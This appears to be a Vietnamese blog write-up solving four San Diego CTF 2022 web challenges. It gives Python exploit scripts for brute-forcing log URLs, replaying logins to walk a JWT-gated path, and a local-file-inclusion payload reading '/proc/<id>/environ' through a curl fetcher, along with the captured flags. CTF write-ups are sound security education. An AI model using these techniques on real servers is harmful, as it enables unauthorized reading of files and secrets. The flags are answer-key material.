Home San Diego CTF 2022
Post
Cancel
san diego logo

San Diego CTF 2022

Sollution của 4 bài web.

Apollo 1337

Bài này chỉ để làm quen với các tool nên coi hết video của họ là solve được

sdctf{0ne_GiANT_L3AP_4_tH3_NeXT_gENERa7i0n}

Lots of Logs

Hướng đi của bài này là bruteforce các log file theo dạng https://logs.sdc.tf/logs/<year>/<month>/<date>/<weekday>.log

script exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from datetime import datetime
import requests

TARGET = "https://logs.sdc.tf/logs/"

found = False
for year in range (2018, 2019):
    for month in range (1,12):
        for date in range (1,31):
            try: 
                current = datetime(year,month, date).strftime("%A")[0:3]
                r = requests.get(TARGET + f"{year}/{month}/{date}/{current}.log")
                if "sdc" in r.text: 
                    print("[-] Found with url: " + TARGET + f"{year}/{month}/{date}/{current}.log")
                    quit()
            except:
                pass

sdctf{b3tr4y3d_by_th3_l0gs_8a4dfd}

JaWT that down!

Bài này khó ở chỗ jwt chỉ có giá trị trong một khoảng thời gian ngắn (trường exp) nên cách giải quyết sẽ là re-login sau mỗi request. Mỗi response trả về tương ứng sẽ tướng ứng với từng kí tự tiếp theo của flag.

script exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

s = requests.Session()
TARGET = "https://jawt.sdc.tf/"

cre = {"username": "AzureDiamond", "password": "hunter2"}


url = TARGET + "s"
flag = "s"       

while True:
    s = requests.Session()
    r = s.post(TARGET + 'login', data=cre)
    r = s.get(url)
    if r.status_code != 200:
        break   
    url += '/' + r.text   
 
    flag += r.text
    print(flag)


print(f"[-]Flag: {flag}")

sdctf{Th3_m0r3_t0k3ns_the_le55_pr0bl3ms_adf3d}

CURL Up and Read

Server cho một ô để nhập url, sau đó hiển thị response nhận được từ url này cho user. Hướng đi của bài là khai thác lỗi LFI bằng payload: file:///proc/<id>/environ. Ở đây curl command sẽ chạy trong process con do hàm execFileSync nên việc ta cần làm là bruteforce process id của process cha và grep flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from base64 import b64encode
import requests

TARGET = "https://curl.sdc.tf"

for i in range (1000):
    print(f"[-] Trying {i}")
    data = '{"url": "file:///proc/ID/environ"}'.replace('ID', i)
    data_base64 = b64encode(data.encode()).decode()
    r = requests.get(TARGET + "/read/" + data_base64)
    if "Internal Server Error" not in r.text:
        if "sdctf" in r.text:
            print("[-] Found: " + TARGET + "/read/" + data_base64)
            break

sdctf{CURL_up_aNd_L0c@L_F1le_incLuSi0N}

This post is licensed under CC BY 4.0 by the author.

AngstromCTF 2022

Service worker và Man-in-the-Middle Attack